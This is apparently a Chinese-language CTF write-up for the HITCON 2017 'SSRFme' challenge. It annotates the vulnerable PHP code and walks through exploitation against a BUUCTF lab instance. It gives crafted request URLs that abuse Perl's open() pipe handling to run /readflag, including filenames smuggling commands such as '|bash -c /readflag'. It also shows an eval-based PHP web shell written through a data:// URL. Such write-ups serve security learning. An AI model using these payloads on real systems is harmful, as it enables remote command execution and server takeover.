BUUCTF-[HITCON 2017]SSRFme

代码分析

<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //HTTP_X_FORWARDED_FOR可以获取客户端真正ip地址，和各个代理IP地址 $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); //拆分字符串，以，分割 $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; //获取真实IP地址 } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); //设置路径 @mkdir($sandbox); //创建目录 @chdir($sandbox); //更改当前工作目录为sandbox $data = shell_exec("GET " . escapeshellarg($_GET["url"])); //escapeshellarg过滤url，转义为在shell命令中安全使用的参数。这里就是执行get命令，参数为过滤后的。 $info = pathinfo($_GET["filename"]); //将路径字典话，即分割为目录名，扩展名等。 $dir = str_replace(".", "", basename($info["dirname"])); //basename用于提取文件名，然后将.替换为空，防止了路径穿越。 @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); //将data中的数据放入basename文件名中。 highlight_file(__FILE__);

大概功能是将请求的url内容放入/sandbox/md5值/filename中。

漏洞点1

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

这里的GET是Lib for WWW in Perl中的命令 ，目的是模拟http的GET请求,GET函数底层就是调用了open处理。

类似ls将根目录列出来，也可以读取文件 GET ./flag.txt。

所以可以将url设置为某个路径或文件，然后放入filename中。

获取根目录内容

构造url

构造url=/

构造filename=test

计算出路径

访问

在根目录中发现flag和readflag。

查看flag

创建

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=/flag&filename=test

访问

没有内容

查看readflag

创建

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=/readflag&filename=test

访问

访问是下载了一个文件，打开发现是ELF可执行文件，猜测是使用命令去执行readflag。

方法一：

perl语言漏洞

因为GET函数在底层调用了perl语言中的open函数，但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符（并且系统中存在该文件名），就会中断原有打开文件操作，并且把这个文件名当作一个命令来执行。

因为GET使用file协议时候会调用perl中的open函数。所以需要使用file协议执行readflag。

getflag

创建文件

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=&filename=|/readflag

执行命令

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=file:|/readflag&filename=test

访问

或者这样构造也可以

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=&filename=|bash -c /readflag http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=file:|bash -c /readflag&filename=test

方法二

写木马

利用data伪协议去写入木马

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=data://text/plain,<?php @eval($_POST[cmd]); ?>&filename=test.php

切换到终端执行readflag。